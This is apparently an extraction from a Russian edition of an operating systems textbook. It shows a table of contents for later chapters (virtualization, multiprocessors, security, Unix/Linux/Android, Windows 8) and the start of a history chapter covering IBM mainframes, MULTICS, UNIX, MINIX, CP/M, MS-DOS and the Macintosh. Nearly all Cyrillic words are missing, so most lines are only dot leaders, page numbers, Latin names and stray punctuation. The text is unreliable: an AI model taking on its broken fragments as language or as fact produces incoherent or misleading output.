7.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.9. . . . . . . . . . . . . . . .
7.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.11.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.11.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.11.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12. : VMWARE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.1. VMware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.2. VMware Workstation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.3. x86 . . . . . . . . . . . . . . . . . .
7.12.4. VMware Workstation: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.5. VMware Workstation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.6. ESX-: VMware . . . . . . . . . . . . . . . . . .
7.13. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

529
530
533
535
536
539
540
543
545
546
547
548
549
550
551
551
552
553
554
554
555
556
556
558
559
560
570
571
573
573

8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 576
8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 579
8.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . 579
8.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . 591

12

8.1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.3. . . . . . . . . . . . . . . . . .
8.2.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.5. . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4.3. . . . . . . . . . . . . . . .
8.4.4. . . . . . . . .
8.4.5. , . . . . . . . . . . . .
8.4.6. , . . . . .
8.5. . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

595
600
607
608
612
615
619
621
626
627
630
633
636
640
641
646
648
651
652
653

9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 659
9.1. , . . . . . . .
9.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.2.1. ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.2. UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.5. . . . . . . . . . . . . . . . . . .
9.6.6. . . . . . . . . . . . . . . . .

661
662
665
665
666
667
669
669
671
674
677
679
682
686
687
688
689
689
691
693
695
697
698
700
700
703


9.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.1. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.2. , . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.4. , . . . . . . . . . . . . . . . . . .
9.7.5. , . . . . . . . . . . . . . .
9.7.6. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.7 , . . . . . . . . .
9.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.8.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.4. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.2. . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.5. . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.7. Java . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

13
706
708
717
720
721
722
723
724
725
725
726
727
728
731
733
743
745
749
754
754
756
763
764
765
767
771
773
775
776

10. : Unix, Linux Android . . . . . . . . . . . . . . . . . . 784

10.1. UNIX Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.1. UNICS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.2. PDP-11 UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.3. UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.4. Berkeley UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.5. UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.6. MINIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.1.7. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2.1. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2.4. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.2.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.3.2. Linux . . . . . . . . . . . . . . . . . . . . . . .
10.3.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.3.4. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.3.5. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

785
785
786
787
788
789
790
791
794
794
795
797
800
802
804
805
807
811
818
823

14

10.4. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.4.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . .
10.4.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.4.4. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5. - Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.3. - Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.4. - Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.5. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6. UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6.4. NFS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.7. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.7.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.7.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8. Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.1. Android Google . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.2. Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.4. Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.5. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.6. Dalvik . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.7. Binder IPC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.8. Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

826
826
829
830
837
840
840
841
843
844
847
848
848
853
857
866
872
872
875
875
876
877
878
881
883
885
888
890
898
909
911
912
918
923
924

11. : Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . . 931

11.1. Windows Windows 8.1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.1.1. 80- : MS-DOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.1.2. 90- : Windows MS-DOS . . . . . . . . . . . . . . . . . .
11.1.3. 2000 : Windows NT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.1.4. Windows Vista . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.1.5 2010- : Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.2. Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.2.1. NT . . . . . . . . . . . . . .
11.2.2. Win32 . . . . . . . . . . . . . . . . . . . . . . .
11.2.3. Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.3.2. Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11.3.4. , DLL . . . . . . . . . . . . . . . . . . .

931
932
933
933
936
937
938
942
946
950
952
952
968
970
980

15

11.4. Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 983

11.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 983
11.4.2. API , ,
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 990
11.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 996
11.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1003
11.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1004
11.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1008
11.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1009
11.6. Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1019
11.7. - Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1020
11.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1020
11.7.2. - . . . . . . . 1022
11.7.3. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1024
11.8. Windows NT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1029
11.8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1029
11.8.2. NTFS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1030
11.9. Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1040
11.10. Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1042
11.10.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1044
11.10.2. . . . . . . 1046
11.10.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1046
11.10.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1049
11.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1052
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1053
12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1058
12.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.1.2. ? . . . . . . . . . . . . .
12.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.7. . . . . . . . . . . . . . . . . . . . . . . . . .
12.3.8 . . . . . . . . . . . . . . . .
12.3.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.4.1. ? . . . . . . . . . . . . . . . . . . . . . .
12.4.2. ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.4.3. . . . . . . . .
12.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.4.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.4.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

1058
1058
1060
1062
1062
1064
1068
1071
1071
1075
1076
1077
1079
1080
1081
1082
1083
1089
1089
1090
1091
1094
1095
1095
1096

16

12.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.5.1. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.5.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6. . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.3. . . . . . . . . . . . .
12.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

1097
1097
1098
1100
1101
1102
1102
1103
1103
1104
1105
1105
1106
1106

13. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1110
13.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.5. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.10. 1: Unix, Linux Android . . . . . . . . . . . . . . . . . .
13.1.11. 2: Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

1110
1110
1111
1111
1112
1112
1113
1114
1114
1115
1117
1118
1118
1119

.
, . , , ,

. , Windows Vista,
, Vista Microsoft . , Symbian,
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.
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8 .
,
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18

, NX- ,
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12 13 .
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(Camille Trentacoste). . .

(Carole Snyder).
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(Dianne Hackborn) Google.
Android, ,

19

. 10
, UNIX, Linux Android
. , ,
.
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(Herbert Bos)

20

, ,
comp@piter.com ( , ).
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- http://www.piter.com
.

.
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(Vrije) (). (Advanced
School for Computing and Imaging), , .
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21

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. ACM,
IEEE USENIX. . , .
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(Vrije) () .
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(Roger Needham Award)
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23

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24

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Windows Explorer, Windows Media Player . .).
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Windows 7 . ,
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1.1. ?

25

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26

1.

. 1.2.

, .
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Linux, Gnome KDE,
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1.1.2.

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1.2.

27

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1.2.
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28

1.

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(Charles Babbage, 17921871). ,
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1.2.1. (19451955):
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1.2.

29

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1.2.2. (19551965):

1950-
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30

1.

. 1.3. : IBM 1401;

IBM 1401 ;
IBM 7094; IBM 7094 ;
IBM 1401; IBM 1401

(
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).
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1.2.

31

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1.2.3. (19651980):

1960- , . , IBM 7094,
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IBM, , 360- ,
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32

1.

3080 3090. zSeries,

.
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1.2.

33

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34

1.

, ,
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(M.I.T.) IBM
7094 (Corbato et al., 1962).
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)
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Computing Service ),
,
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1000 - 40 , . .
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, , Intel 386,
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.
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XIX .
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, . Bell Labs
, General Electric
.
1

,
. . .

1.2.

35

.
Honeywell, General Electric,
80 . , MULTICS . General Motors, Ford
MULTICS 1990- ,
30
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,
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,
, .
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, MULTICS ( UNIX ,
FreeBSD, Linux, IOS Android).
(Corbato et al., 1972; Corbato and Vyssotsky, 1965; Daley end Dennis, 1968; Organick, 1972;
Saltzer, 1974). MULTICS - www.
multicians.org, ,
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(Ken Thompson), Bell Labs,
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,
MULTICS. UNIX,
,
. UNIX
(, Salus, 1994). 10.
, - () ,
. : System V AT&T BSD

36

1.

(Berkeley Software Distribution) .

.
, UNIX-,
(IEEE)
UNIX, POSIX,
UNIX. POSIX
, UNIX.
POSIX-
.
, 1987 UNIX, MINIX.
MINIX UNIX, POSIX.
MINIX 3, , .
(,
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MINIX 3 ( ) www.minix3.org.
MINIX ( ) , (Linus Torvalds)
Linux. MINIX
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, ,
MINIX UNIX. , Linux ,
(Moody, 2001).

1.2.4. ( 1980 ):


(LSI, Large Scale Integration) ,
.
( ) - PDP-11, , ,
. -
, .
1974 , Intel Intel 8080
8- , , .
Intel
(Gary Kildall).

1.2.

37

8- ,
Shugart Associates, Intel 8080.
. , CP/M (Control Program for Microcomputers
).
CP/M, Intel , ,
.
Digital Research CP/M.
1977 Digital Research CP/M,
Intel 8080 Zilog Z80,
. ,
CP/M,
5 .
1980- IBM IBM PC (Personal Computer )1 .
IBM ,
. , , IBM PC.
Digital Research, .
IBM, .
, ,
IBM PC, .
IBM .
, , Seattle Computer Products, DOS (Disk
Operating System ).
DOS ( $50 000),
Seattle Computer Products .
DOS/BASIC, IBM. IBM ,
(Tim Paterson), , DOS Microsoft .
MS-DOS (MicroSoft Disk Operating System) IBM PC.
( , ) MS-DOS

CP/M ( , ).
1983 IBM PC/AT ( IBM PC) Intel 80286, MS-DOS
, CP/M . MS-DOS
80386 80486. 1

, IBM PC
, PC Personal
Computer ( , ) . PC . . .

38

1.

MS-DOS ,
,
UNIX. ( Microsoft UNIX
XENIX.)
CP/M, MS-DOS
, .
, 1960-
(Doug Engelbart) - (Stanford Research
Institute), . (GUI, Graphical User Interface) , ,
. Xerox PARC
.
(Steve Jobs), Apple,
, PARC, GUI
, Xerox.
Apple, . Lisa,
. , Apple
Macintosh, , ,
Lisa, , ,
,
- . Macintosh -,
, . 1999
Apple , Mach, BSD
UNIX. Mac OS X ,
UNIX, .
